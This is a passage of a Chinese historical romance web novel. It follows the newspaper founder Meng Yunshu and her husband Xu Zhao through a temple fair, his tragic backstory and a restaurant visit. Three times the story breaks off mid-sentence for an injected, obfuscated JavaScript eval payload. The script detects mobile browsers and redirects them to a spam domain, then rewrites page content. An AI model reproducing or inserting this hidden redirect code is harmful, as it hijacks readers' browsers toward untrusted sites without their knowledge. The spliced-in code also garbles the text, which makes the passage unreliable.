她笑吟吟地向她的室友行礼：“许公子，这么晚了你还不曾歇息？” 许昭闻声放下手中的书，也向孟允抒报以微笑：“姑娘回来了，请坐。” 孟允抒疑惑地看着许昭指的方向，那是张和他并排的椅子，两者之间的距离不过一指宽。 她迟疑着问许昭：“我们一定要这么坐吗？” 许昭的盛情难却，孟允抒最终还是挨着他坐下，肩并肩地对着他桌上那堆书大眼瞪小眼。 她现在一扭头就能发现，许昭那张脸近在咫尺。 哪有这样坐着聊天的。 孟允抒还没调整好状态开口说话，许昭率先问道：“这几日我不曾见你，报社中的各项事务可还顺利？” 孟允抒发现，许昭说这话时根本没在看她，而是面色平静地目视前方，像是在和空气交流。 看起来他也不习惯这种座位设置。 “公子放心，一切都照常进行，并无差错。” 孟允抒说着，起身想将椅子搬到许昭对面去，却被他一把攥住了手。 她不理解许昭的想法，困惑地看了看他。 两人目光相接的一瞬间，许昭忽地抽回手，将视线投向别处，语气略显失落：“姑娘果然与我隔阂颇深。” 孟允抒还以为许昭指的是她搬椅子的举动，向他解释道：“公子误会了，你我这样不便交谈，我去对面坐。” “不行。”许昭断然拒绝她的提议，转而直视着她，“今日报社中有人寻衅滋事，你为何不对我说实话？” 孟允抒心头一惊，这下也顾不上挪动椅子，连忙笑着掩饰道：“报社分明平静无事，公子从何处听闻这般流言？” 她再三叮嘱秋盈不要将此事透露给许昭，而且两人是一齐回到府中，绝不可能是她走漏了风声。 只要消息来源不可靠，她就还有辩解的余地。 “你还在瞒我。”许昭面有愠色，“你受伤了也不告诉我，还要我从旁人口中才能得知。” 听许昭的话，他应当已经知晓内情，现在再狡辩只会火上浇油。 孟允抒眼眸低垂，语气恳切地说道：“我并非有意欺瞒公子，只是你平日公务繁忙，我不愿让你因这些小事忧心。况且我只是受了点轻微伤，不足挂齿，故而没有对你坦言，请公子见谅。” “抱歉。”许昭察觉到他的脸色不大好看，或许吓到了孟允抒，温声解释道，“我无意怪罪姑娘，只是你经历此番遭遇，却非要一人扛着担子，我实在挂念姑娘，所以才……” 孟允抒松了口气，还好许昭不是因为她的欺瞒而动怒。 她对许昭笑道：“多谢公子关怀。今日之事有惊无险，衙役及时赶到，犯人都已被捉拿归案，你不必担忧。” 许昭沉默片刻，轻轻叹了口气。 “创社之初你就多次嘱咐我与萧公子，让我们对入股之事守口如瓶，所以无人知晓报社的来头。” 他抬眼注视着孟允抒，眼神中满是懊悔与愧疚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361893|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要是我们将内幕公之于众，定然无人敢在报社生事，能免去许多麻烦，你也不会经受今日之难。” 孟允抒不想让许昭知道报社风波的原因正在于此。可既然他的话已经说到这个份上，她也必须表明自己的态度。 “公子既已提到此事，那我就向你说明我的想法。如有言语不妥之处，还请公子见谅。” 孟允抒看向许昭，正襟危坐。 “我不愿对外透露报社的幕后支持者以及我的身份，第一种原因我已经告诉过你们。小报处境敏感，我不想让不轨之人利用小报做文章，攻讦你与萧公子，影响你们的仕途。” 许昭沉默不语。官商勾结祸乱民心确实是重罪，如有人故意构陷他们，他们恐怕是百口莫辩。 “第二种原因则与报社声誉有关。我们所办报纸是民间小报，受众多为平民百姓。倘若他们知晓我与官员关系密切，他们就会认为我是官府喉舌，进而怀疑新闻的透明度与真实性，于小报销量不利。” 邸报不受欢迎的原因正在于此。层层审核下来，邸报上只剩下些不痛不痒的朝政新闻，对民众来说，既不新鲜也缺乏吸引力。 “最后一种原因则出于我的私心。你与萧公子都是我的贵人，对我恩重如山，凭借你们的名号，报社生意定能顺风顺水。但是，我在其中的努力也会一文不值。” 孟允抒的语气坚定有力，许昭看向她时，正对上她如炬的目光。 “有人会被这样的噱头吸引，也有人会因你们的身份讨好报社。照这样下去，即便我事业有成，根本原因也不过是‘仗势欺人’。” 孟允抒的话如声声惊雷贯彻人心，过了半晌，许昭依然觉得书房内回荡着她这番激情澎湃又坚定不移的自白。 许昭微微俯首：“是我轻视了姑娘。” 这句庄重的回答为孟允抒的发言画上了句点，同时也给了她莫大的支持与理解。 孟允抒如释重负地笑道：“公子不必道歉，你愿意听我说这番话，我已是感激不尽。” 她确实经常在许昭面前演戏，可这句话却是发自真心。许昭与她生活的时代不同，却能够理解并尊重她的思想观念，实属不易。 孟允抒的问题圆满解决，她起身告辞道：“公子也早些歇息吧。” “嗯。”许昭点点头，却猛地想起他还有件事没做，急忙叫住孟允抒，“姑娘留步，我还有一事想问。” 在他的示意下，孟允抒回到她那个尴尬的座位上，看着许昭坐在她面前欲言又止，接着站起来在书房转了几圈，最终还是没能开口。 孟允抒满腹疑惑：“公子想问什么直言就是，我不会责怪你。” 这句话像是让许昭下定了决心，他在孟允抒面前站定，目光躲闪。 “听说姑娘伤在右肩，我能否看看你的伤势如何？” 孟允抒的身体一僵。 从名义上来讲，许昭提出的要求并不过分，她的思想也并不保守，露个肩膀不是什么大不了的事。 但他们两个孤男寡女共处一室，再加上许昭的语气拘谨，她总觉得这话听起来有些暧昧。 孟允抒强行摆脱脑内那些混乱怪异的想法，点点头道：“可以。” 她褪下半边外衫，一片淤青就这样赫然暴露在外。 许昭没有碰她的皮肤，只是蹙起眉，用目光轻轻抚过那处青紫的瘀伤。 他曾见过无数比这更加狰狞的伤口，可眼前的淤青依然让他心头发颤。 “现在还疼吗？” 孟允抒不以为意：“本来就没多疼，一点小伤而已。我已经上过药了，过不了几日就能消下去。” 许昭察看完伤势，让孟允抒重新整理好衣服，劝说她道：“明日你先休息一天，别去报社了。” “不行，明日我要去庙会采闻。我们已经确定好选题，不能临时换人。” 许昭若有所思，他突然开口问道：“秋盈会陪你一起去吗？” 孟允抒笑笑：“当然不会。秋盈现在可是我们报社的大掌柜，有时候比我还忙。再说，总不能给每个探官都配名随行人员，报社哪有那么多人。” “那我和你一同前去。”许昭垂眸说道，“正巧我也想逛庙会。” 孟允抒看着他心虚的模样，马上得出了一个结论。 许昭可能从来没撒过谎。 18. 庙会 孟允抒坐在马车上撩起车帷，看向街上络绎不绝的行人与路边大声叫卖的摊贩，将繁华的街景尽收眼底。 在千百年的发展演化中，胤朝的庙会内涵已经远超字面意义，除了它最初具有的宗教色彩以外，更多地象征着每月五次的大型商贸集会活动。举办庙会的中心场所是大礼国寺，许多商人会借此良机，在寺庙内外设置摊位，经营自己的生意。 孟允抒望见一名理发匠放了几个小马扎，直接坐在路边给顾客刮脸修面；不远处的商贩高声吆喝，宣传所售香饮子的奇特功效；茶坊中挤满了人，依稀可见其中正有人热火朝天地斗茶；甚至还有在街边做艾灸按摩的行医。 拥挤的商品与行人看得孟允抒眼花缭乱，虽然她对满目喧嚣恋恋不舍，却也只能暂时放下车帷，先去打个报道的腹稿。 当她把注意力收回到车中时，这才察觉到一丝不对劲。 她看了看端坐在她右侧的许昭，又低头估量了一下两人之间的距离。 她分明记得，两人刚上车的时候分坐在车厢两端，他们中间的空隙还能容纳得下第三个人。 但眼下许昭已经坐在车厢正中央了。 孟允抒看他一脸正气的样子，不像是有意为之，猜测这是马车颠簸的缘故。当前街上行人摩肩接踵，时不时有对面过来的马车与他们狭路相逢，二者还要争道而行。在剧烈的晃动之中，他的位置发生偏移也实属正常。 于是孟允抒保持沉默，转而去思考她待会要提的问题。 这份和谐没能保持太长时间，因为孟允抒敏锐地发现，许昭又悄悄朝她这边挪了一小段距离。 她不解地看向许昭，他还是那副坦然的神色，坐在车上不发一言。 孟允抒不明白他这是在干什么，她只知道，再不开口的话他就要挤到自己身上来了。 “许公子，你往那边坐坐。”孟允抒提醒他，“我快没处坐了。” 许昭转头看她一眼，神情落寞，像是受了沉重的打击。 他低声问道：“姑娘是想让我离你远些？” 孟允抒听出他声音中的难过和酸涩，更加觉得莫名其妙。 他这是和谁学的，萧谨言吗？ “不，我没有这个意思，你别误会。” 无论孟允抒如何解释，许昭都不相信她心口如一，她第一次想用“笨嘴拙舌”来形容自己。最终孟允抒只能无奈地说道：“算了，就这样坐着吧。” 在听到这句话的瞬间，许昭的眼神一亮，脸上也显出高兴的神色。 孟允抒隐约觉得，她好像给自己带了个拖油瓶。恐怕她今日的采访不会很顺利。 马车在大礼国寺门前停下，孟允抒刚从车内探出半截身子，来自四面八方的喧闹就一起向她涌来，将她层层包裹在其中。 她的双脚踩在地面上，却在一片嘈杂的冲击下觉得脚步飘然，甚至有些站不稳。纷乱之间，她环视了一圈眼前的场景，平生第一次体会到“目不暇接”的具体含义。 孟允抒集中注意力，回想了一下她先前看过的大礼国寺地图，按她事先计划好的路线出发。 她拍拍正在东张西望的许昭：“许公子，我们先往这边走。” 庙会上有身上挂满鼓锣的流浪艺人，行走在人群中敲敲打打，时不时拿起随身携带的其他乐器拨弄一番；许多民间艺术团体也在此进行表演，杂耍、驯兽、歌舞应有尽有，音乐声与喝彩声不绝于耳。 孟允抒走过几个摊位就要驻足欣赏一番，在闹市中不得不提高嗓门对许昭喊道：“难怪你想来逛庙会，果真是热闹非凡。” 许昭也少见地扯着嗓子喊：“我幼时最喜欢逛庙会，不过我们那里一年到头也办不了几场。” 孟允抒觉得他们再这么喊下去，过不了一刻两人就都该失声了，于是拉着许昭快步拐到一条行人稍少的路上。 这条道路两边的商贩售卖的大多是些手工艺品，尽是些奇巧精致的玩意儿。孟允抒来了兴致，热情洋溢地跑到那些摊贩前询问详情。 她认真听完摊主讲解绢人的制作过程，正要拿起旁边那个滚灯提问，许昭蓦地在旁边问道：“你有想要的东西吗？” “对，对。”那摊主见状连忙附和，他打量了一下许昭，眼睛都笑得眯成两条细线，撺掇孟允抒花钱，“姑娘既然是带着郎君一同前来，有什么想要的就赶紧开口，过了这村可就没这店了。” 孟允抒暗道不妙。她的预感成真了。 她从一开始就根本没想买东西，只是想拉摊主做个免费采访，这才一直和他套近乎。许昭这么一说，她哪还好意思再继续问下去。 孟允抒尴尬地赔着笑：“抱歉，我只是想随便看看，打扰掌柜了。” 说着，她赶紧拉了许昭一把：“快走。” 但许昭好像没理解她的意思，依然执着地钉在原地。 他看看眼前琳琅满目的商品，转头问孟允抒：“七巧板，你要吗？” 孟允抒窘迫得无地自容，又不好直接在摊主面前和许昭发生冲突，只能飞快地回答：“不要，赶紧走。” “风筝呢？” 孟允抒咬牙切齿地答道：“不要。” 许昭像是铁了心要和她对抗到底，说出一连串的商品名。 “九连环？不倒翁？拨浪鼓？陶笛？竹蜻蜓？陀螺？” 合着许昭隔这报菜名呢。 孟允抒只能威胁他：“你再不走我自己走了。” 她撂下一句话，就大步流星地继续向前。 许昭只好向摊主道了歉，追上孟允抒的步伐。 他观察着孟允抒的表情，见她有些发恼，语无伦次地解释道：“请姑娘不要生气，我见你对那些东西爱不释手，所以才会那样发问。” 孟允抒见许昭小心翼翼的模样觉得有些歉疚，他问那句话完全是出于好心，她确实不该责怪他。 “多谢公子惦念，我没有生气。”她缓和语气对许昭笑笑，以此打消他的顾虑，转而提醒他道，“只是在我提问时，你不要贸然开口。” 许昭赶紧点头表态：“我明白了。” 孟允抒又来到一处卖假发髻的摊位前，此处挤满了女子，孟允抒听见其中几人讨论着“借头”之事。 “借头”就是指女子之间共享发髻的行为。通常情况下，品质上乘的假发髻价格高昂，孟允抒眼前那顶加了珠翠装饰的发髻甚至标价八千文，是妥妥的奢侈品。 孟允抒上前询问摊主详情，让他介绍了几顶价格亲民的假发。这些假发由丝线或动物毛发制成，可谓那些高档假发的平替，唯一美中不足的是质感略差，但临时拿来糊弄旁人还是绰绰有余。 孟允抒将这条见闻深深烙在脑海中。 除了撰写报道的需要，或许她在日后乔装打扮时也能用得上这种假发。 她这样游览了数个摊位，欣赏过书画，体验了游戏，在此过程中，许昭始终不发一言，恪守着她的要求。 孟允抒转头看了看许昭，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378937|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用询问的眼光回看向她。 许昭不但不说话，好像连呼吸都被刻意屏住了。 孟允抒觉得她对许昭太过严苛，于是收回她的禁令，半是好笑半是自责地说：“许公子，我已经收集了足够多的新闻素材，你可以说话了。” 许昭左右张望一番，他们已经行至这条路的尽头，只余下旁边两三个摊位没有游览。 他指着其中一个热闹非凡的摊位说：“我们去那里看看。” 孟允抒随他来到摊前，发现上面尽是些珠宝首饰，其中有不少华丽繁复的钗环，可见其工艺精湛。 摊主和另一边的顾客回完话，笑容满面地迎上来问：“姑娘是想买哪种类型的首饰？喜欢造型精致些的还是简单大方些的？” 孟允抒还想用那句“随便看看”来回应摊主的热情，却被许昭提前打断了施法：“你在里面选些自己喜欢的。” 孟允抒还没来得及拒绝，他又补充：“一个也行。” 听着许昭这不容拒绝的语气，孟允抒觉得这更像是他给自己下的一道命令。 她迅速扫了一遍摊位上的饰品标价，顿时觉得荷包一痛。 孟允抒随便找了个理由搪塞许昭，催促他赶紧离开：“我没有喜欢的，我们还是去别处看看吧。” 摊主却已经将她的动作尽收眼底，笑着对许昭打趣道：“公子，你家夫人心疼你，这是想给你省钱呢。” 这句话更加坚定了许昭要给孟允抒送礼的决心。他回忆着萧睿言传授给他的小妙招，想起只有最后一条还没派上用场。 他看看旁边那对正在打情骂俏的年轻男女，僵硬地伸出手，轻轻拽了拽孟允抒的袖口。 “你戴上这些一定很好看，就当是为我买的，好不好？” 孟允抒惊愕地站在原地，无数猜想从她的大脑中飞速闪过，却没有一条能解释许昭的行为动机和逻辑。 从许昭今天的种种反常行为来看，他怕不是吃错了药。 如果买一件饰品能让许昭恢复正常，那这笔钱就花得值。 于是，孟允抒在满摊的饰品中仔细搜寻一番，终于找到一支符合她审美又极具性价比的银簪。 许昭爽快地付了钱，满心欢喜地把盒子交给孟允抒，仿佛收到礼物的人是他一样。 孟允抒掂着手里沉甸甸的盒子，她觉得不能任由许昭这么继续犯病，不如直接询问他行为反常的原因。 她开门见山道：“从我认识公子以来，我就不甚了解你，现在我更不明白了。公子若是有什么想法，或是有心里话，还请对我明说。” 许昭见她神情严肃，忽然想起萧睿言对他说的话。 他问孟允抒：“姑娘是否觉得我难以接近？” “你鲜少向我袒露心迹，我的确无法理解公子所思所想，更不知道你想做什么。”孟允抒抓住这个契机，趁热打铁道，“你若是一直不肯对我坦言，那我又怎能明白公子心意？” 许昭似乎对这番话颇有感触，他沉默良久，目光反复从孟允抒身上扫过。 最终，他给出了一个让孟允抒意外的答案。 “其实，我也不知道我想做什么。” 孟允抒从许昭的表现中察觉到，他的意志有所松懈，现在是与他谈心的绝佳时机。她将许昭的话细细剖析几遍，决定对他做个深度访谈，让他能更清晰地进行自我表达。 她四下搜寻一番，指着侧方的那处高台说：“那里稍微安静些，公子随我去那边说吧。” 19. 过往 孟允抒带着许昭登上高台，从此处可以望见山头的一轮圆月。夜空晴朗，是个好天气。 她安排两人面对面地坐在宝殿旁边的石凳上，因为两凳间的距离较窄，他们这样坐下后，两人的膝盖就这么碰在一起，达成物理意义上的“促膝长谈”。 许昭不解地看向孟允抒：“我们为何要这样谈话？” “你别问那么多，照做就是。”孟允抒笑笑，“把手给我。” 她轻轻握住许昭的手放在两人膝头，先让许昭放松，而后引导他与自己的目光相接。 这是之前他们单位举办心理团建活动时的一个环节。在此种情况下，所有人都能在不知不觉中说出真心话，彼此坦诚交流，孟允抒觉得效果很好。 许昭不习惯直视孟允抒，把视线挪到别处问：“这也是你所说的‘采访’？” “是。但公子今日所说之事，只有我一人知晓，我保证不将此事外泄。”孟允抒鼓励他看过来，“你若是信我，就请对我直言。公子现在心情如何，或是有什么感受？” 许昭对上了她的视线。 孟允抒的发丝被晚风轻轻扬起，眼中却盛满细碎的灯火，似是要映亮一方夜空。 许昭倏然想起盛放的烟花，美丽绚烂，可同时转瞬即逝。 一幕幕往事在脑海中浮现，他不由得攥紧孟允抒的手，沉痛而急促地说出两个字：“害怕。” “公子莫怕，我在此处听你说话呢。”孟允抒安抚他的情绪，试探着问，“你是不是想起什么了？” 许昭点头：“姑娘可愿听我细细道来？” 他愿意主动敞开心扉，孟允抒觉得这是个积极的信号。 “那是自然。” 许昭沉思片刻，似是在组织语言。而后，他讲起了他的过往。 “我出生在绥宁县的一个村子里，父母皆是普通农民。我对我父亲的印象不深，只记得他好赌嗜酒，整日醉醺醺的，又满口脏话，时常打骂我与母亲。我七岁那年，我们县闹饥荒，父亲卷走了家中所有的财物逃荒，再也不见踪迹。” 孟允抒虽已与许昭成婚两年，却只从旁人那听说他无父无母，并不了解其中详情。今日是他首次提及自己的身世。 绥宁县是胤朝的一个小县城，地处西北，气候干旱，常年黄沙漫天。那里的经济本就落后，乡下人的生活只会比城中百姓更加艰难。 “面对这个烂摊子，我母亲觉得这下反倒好了，终于摆脱了我父亲那个混账。她说，与其冒着风险改嫁，不如由她一个人带我自谋生路。她连字都认不得，却总是叮咛我用功勤学。” 许昭脸上浮现出愧疚的表情。 “我幼时顽劣不喜读书，对考取功名一事嗤之以鼻，只顾着与伙伴玩闹，常常惹得母亲发火。她见我不思进取，索性将我从私塾带出来，让我在三伏天顶着正午的日头，和她一起去田间劳作。我受不住酷热，就央求她放我回去，发誓从此之后一定刻苦念书。” 孟允抒点头，示意他继续往下讲。到此为止，这就是个老套的劝学故事。 “我母亲却失望地摇头。” 孟允抒未曾料到故事会突然发生转折，愣怔地看向许昭。 “她指着那些汗如雨下的农民对我说，她劝我读书，并不是为了让我逃离这样的生活，而是希望我能寻找治世良策，使天下黎民都不必承受这种苦难。” 孟允抒没想到，在胤朝，一个不识字的贫民妇女竟能拥有如此广博的胸怀。 许昭停顿片刻，像是对母亲致以深切的敬意。 过了一会，他才重新开口。 “从那天起，我懂得了学习的真正意义，终于在二十一岁那年考中举人。在紧随其后的会试中我名落孙山，绥宁县的县衙内又恰好有职位空缺，所以我先在那里临时任职，打算等三年后再次参加会试。” 孟允抒记得，许昭是二十四岁时中了探花，而后一年两人成婚，时间对得上。 “初入官场，我想法单纯，性格耿直，空有满腔抱负却不懂得圆滑处事，故而得罪了不少人，却也因此结交了两三个志同道合的至交好友。” 孟允抒心想，许昭的作风倒是一直都没怎么变。 “绥宁县距京城两千里远，皇上和高层官员都鞭长莫及，当时的知县只手遮天，与通判沆瀣一气搜刮民脂民膏。我与那些好友发现此事，就在暗中搜集证据，打算绕过他们，直接将罪证呈往上级。” 铲除地头蛇绝非易事，孟允抒不由得紧张起来：“结果如何？” “有人走漏了风声。知县得知此事，寻个由头将我们几人的家眷请到他府中，其中包括我母亲。他假意请客，实际上是想控制住他们，用他们的性命作为要挟，并让他们写信劝诫，让我们就此罢手。” 在这样两难的境地中，孟允抒难以想象，如果当事人是她自己，她会做出怎样的选择。 “我没有犹豫太久，因为我母亲没有给我留时间。” 许昭的声音变得沙哑，眼中逐渐蒙上一层水雾。 “她知晓内情后，当面大骂知县狗官，说她绝不会被他利用，让他奸计得逞。她高呼一声‘苍生何苦’，当即撞墙而亡，血溅知县府。” 她死得决绝，壮烈，有气节。 一滴眼泪从许昭面庞上骤然坠落，砸在他的手背上，迸出一朵碎裂的水花。 孟允抒被他母亲以死明志的行为深深触动，只是沉默地伸出手指，轻轻拭去许昭手背上的泪痕。 许昭平复心情，继续讲了下去。 “我没了后顾之忧，但其他人并非如此。有些人选择向知县倒戈，有些人同我一样东躲西藏，最后成功让此事上达天听。在这一过程中，我的挚友与我反目成仇，也有几人命丧黄泉。” 孟允抒看向许昭朦胧的泪眼，心情十分沉重。 她和许昭心里都清楚，他所做的事完全正确，可它的代价实在太过惨痛。他打了一个漂亮的胜仗，同时也输得一无所有。 “后来我到京城做官，终于见到众人口中的繁华盛景。但我与亲友的约定却一个都没有实现。” 许昭泣不成声。 “中举那天，我高兴地对我娘说，从此之后她不必再住漏风的破屋，能有一床完整的被褥，不用去市集上捡别人丢掉的烂菜叶。” “在我小时候，她就常常站在田间地头眺望。我问她在看什么，她说她在想象京城人的生活。我对她承诺，我一定会做上京官，带她去往天子脚下。可她熬了一辈子，最终也没能看一眼京城。” “对我那些好友来说也一样。起初我们互相打趣，若有一人飞黄腾达，就邀请其余人去皇都游玩。等我到了此处定居后才发现，我已不知该将请柬寄给何人了。” 许昭的话语被啜泣揉成七零八落的字词，声调也抖得厉害。 “从那时起我意识到，政治远比我想得复杂。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388496|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿再经历这般折磨，也不想看到亲友因我遭殃，索性从一开始就不同他人产生纠葛。” 这句话为许昭此前的矛盾表现做出了解释。他不怕得罪人，却对所有人都保持着置身事外的疏离态度。 孟允抒所从事的也算高危职业，她理解许昭的想法。无牵无挂自然一身轻松，没有软肋就不会被他人威胁，更不会有人因他无辜受害。 但许昭并非铁石心肠，仍对人与人之间的情谊心向往之。否则他今日也不会讲述这些事。 “我明白了。”孟允抒握住他的手，温声说道，“我不会直接替公子做出选择，这样是把我的想法强加于你。只有你自己想明白了，才能得出想要的答案。” “但我可以帮你扪心自问。” 她笑了笑，话锋一转。 “请问公子，在你揭发知县罪行之前，你与身旁亲友过得是否开心？” 许昭想起他和好友品茶论道、与母亲闲聊对谈的日常，十分怀念那份闲适恬淡的时光。 “开心。” 孟允抒的声音轻快起来：“所以，就要看公子喜欢哪种生活了。是一直克己自抑，超然出世，或是珍惜当下，从心所欲。” 许昭抬眼看向孟允抒，她的眼瞳清亮，映出的却非夜空上的月光，而是高擎的火把，明艳非常。 这份光亮驱散他了心头的阴霾，温暖的火焰融化内心的坚冰。 新芽破土而出，推翻了压在其上的千斤巨石，执拗地焕发出生机。 他知道答案了。 “姑娘认为，怎样做才算从心所欲？” “若是为它强加解释，哪还算的上从心所欲。”孟允抒说，“当然是想到什么说什么，想怎样做就怎样做。” 许昭沉思片刻，突然开口说道：“其实，我很喜欢吃芝麻糖。” 孟允抒先是愣了一下，而后反应过来许昭在按照她传授的方法做练习。 她笑得前仰后合：“对，就是这样。” 许昭受到鼓励，放开胆子吐槽同事。 “工部的胡大人做事雷厉风行，治水有方，我甚是钦佩。可他不修边幅，走到哪里都臭气熏天，我好几次都想提醒他快去沐浴。” 孟允抒一听，这是个好机会，许昭再说下去可能还会爆出更多猛料。 她赞扬许昭：“公子做得很好，继续。” 许昭越说越兴奋，语速飞快，将各种琐事都抖搂了个干净。 “你办报之初，我每天都悄悄派人前去买报，为你冲销量。” “什么？” 孟允抒的质疑让许昭猛地回过神。 这半天他说话不经大脑，一不小心把这事说漏嘴了，简直是不打自招。 “不是，我……” 许昭手足无措地辩解，但他的话语中漏洞百出，就像一团越绕越乱的毛线球。 孟允抒绷着脸，站起身丢下一句话：“走。” 许昭急忙跟上她，小声问道：“去哪？” 见孟允抒半天不说话，许昭心里七上八下，只能试探性地按住她的肩膀：“我已知错，以后绝不会再这样做，请姑娘见谅。” 孟允抒被他扳得转过脸来，再也憋不住笑意，放声大笑起来。 “我明白公子是一片好心。” 她笑了一阵，直起腰指向那条热闹的小吃街，回答许昭那个关于他们去哪的问题。 “去给你买芝麻糖。” 20. 美食测评 时至正午，孟允抒从椅子上起身，活动了一下酸痛的脖颈，而后穿过中庭，来到前面的店铺中。 她见秋盈还在忙碌，就简短地和她打了声招呼：“秋盈，我要外出采访，不到两个时辰就能回来。社中事务就先交给你了。” “等等。”秋盈叫住孟允抒，喊来其他伙计应付顾客，腾出空赶到她身边问，“你要去何处采闻？” “揽月阁。”孟允抒回答，“最近那里推出了几道新的特色菜，有不少人对其感兴趣。” 秋盈点头，又免不了叮咛她几句安全问题。 孟允抒打趣道：“都这么久了，你还在担心我。社中那么多事，还不够你操心的？” 秋盈不好意思地笑笑，转而问她：“这种选题怎么会落到你头上？” 在过往的新闻选题当中，孟允抒往往会选择难度较高的任务，或是被其余人挑剩下的主题。本来美食测评是份好差事，按理来说应当甚是抢手，不会由她进行采闻。 “我们现在的资金不足，探官的采闻费用申报上去后，最起码要过上一月才能收回花销。”孟允抒说，“揽月阁的菜品价格高昂，没人想预先垫付。” 秋盈轻轻叹息：“等我们再积累些名气，这些问题就能迎刃而解了。” 名与利总是相伴相生的，当一种报纸的名号足够响亮，自然会有人主动请他们打广告做营销，达成合作共赢的伙伴关系。 孟允抒不想走捷径，就只能扎扎实实地从无名小卒做起，自己想办法推广他们的报纸。 “说不定近日我们就能碰上桩爆款新闻，接着就名声大噪。” 她和秋盈调侃一番，向她告辞后前往揽月阁。 孟允抒刚跨进揽月阁的门槛，便闻到扑鼻而来的香气。 现在正是饭点，作为京中规模最大、最有名气的食肆，揽月阁已经坐满了人。他们桌上的菜品种类繁多，从绣吹羊到蟹酿橙，从煎黄雀到杏酥饮，各种菜系一应俱全。佳肴混着美酒，谈笑和着酒令，店小二忙着上菜送客，好不热闹。 一个伙计瞅见在门口张望的孟允抒，乐颠颠地跑过来问：“姑娘一个人？” 孟允抒点头：“听说揽月阁近日出了不少招牌菜品，我特意来尝尝鲜。” 她又提出自己的要求：“有劳你为我寻处一楼的座位。” 揽月阁的二三楼都是雅间，她可不想付额外费用。 “好嘞，您这边请。” 店小二引着孟允抒在一处空桌上坐下。这张桌子离楼梯很近，她能听得见往来食客的脚步声在她头顶咚咚作响，甚是吵闹。 那伙计也意识到这一点，在孟允抒还没开口前就赔着笑说：“姑娘，真是对不住，这会店里人多，没几个空位，您先将就着吃。待会我请老板给您抹个零，您看如何？” 孟允抒心想，难怪揽月阁能成为京中一流的食肆。就冲这眼力见儿和服务态度，它要是不受欢迎简直天理难容。 然而，随着她接过伙计拿来的菜单，将上面的条目一一看下去，她的笑容逐渐消失。 在价目表上，和前面的那列整数相比，后缀的那点零头简直不足挂齿。 “买家不如卖家精”真是一句颠扑不破的真理。 她正准备忍痛点单时，头顶的楼梯上忽然传来一个熟悉的声音。 “我只是秉公办事，并未帮上你什么忙。无功不受禄，潘掌柜不必如此客气。” 孟允抒循声望去，只见许昭已经下到最后一级楼梯，和揽月阁的掌柜边走边说话。他身后还跟着两人，看样子是他的下属。 似是察觉到孟允抒的目光，许昭也看了过来，在发现她后微微一怔。 潘掌柜见状连忙上前：“大人认识这位姑娘？” “嗯。”许昭点点头，对身后的两人交代道，“你们先回去，我在此处用膳之后再走。” 其中一个下属看上去非常年轻，直截了当地抒发自己的疑惑：“您刚才不是说不吃饭吗？掌柜劝了您半天都不答应，怎么这会又要吃饭了？” 他旁边那个下属则咳嗽一声，用眼神指了指孟允抒：“大人有事要忙，咱们先回官府。” 那个年轻下属没明白他的意思：“反正我们也该吃饭了，为什么不一起吃？哎你用胳膊撞我干什么？” 两人互相拉扯一阵，终于走出了店门，许昭和掌柜则走到孟允抒桌边。 潘掌柜热情地迎上来行了一礼：“既然姑娘是许大人的熟人，那也是我们揽月阁的贵客，请随我去二楼的雅间就座。” 说着，他又训斥身后的伙计：“你怎么连贵客的身份都认不出，当真是有眼无珠。” 孟允抒很清楚，这明摆着就是演戏给她看，却也只能遵循礼节劝解道：“算了算了，潘掌柜消消气。我与许大人只是点头之交，称不上什么贵客。我觉得此处很好，就不劳烦掌柜给我换地方了，您快去忙吧。” 潘掌柜再次客套一番后让伙计留下，再三嘱咐他不得怠慢许昭和孟允抒二人。 孟允抒点完了单，这才有时间与许昭独处。 伙计前脚刚走，许昭就丢出了一个问题，声音满是委屈。 “姑娘与我只是点头之交？” 孟允抒早就发现许昭心不在焉，她还以为他是在思索什么重要的事，闹了半天原来是在纠结这个问题。 许昭直来直往惯了，他不懂这些虚礼倒也正常。 孟允抒耐心解释道：“我要是不那样说，掌柜肯定会坚持让我去楼上。不付钱我良心不安，付钱的话又是一笔不小的数目，我可不想当冤大头。” 许昭却不肯善罢甘休，追问她道：“那在你眼里，你与我是什么关系？” 孟允抒觉得这话像小学生问的。 既然如此，她也只能用小学生的方式作答。 她拍拍许昭的肩，语气深沉道：“我和你天下第一好。” 许昭显然对这个回答非常满意，他笑了好一会才想起来问她：“你怎么在这？” 孟允抒向他讲述了自己前来采闻之事，又反问他来这的目的。 “前段时间，在排云和其余民众的揭发下，县衙中有几名官员因收受贿赂落马，但恐怕还有许多漏网之鱼，他们的罪行还并不明了。这阵子我在清点旧案卷宗，对其中的疑案进行重审。” 谈到正事，许昭的表情重新严肃起来。 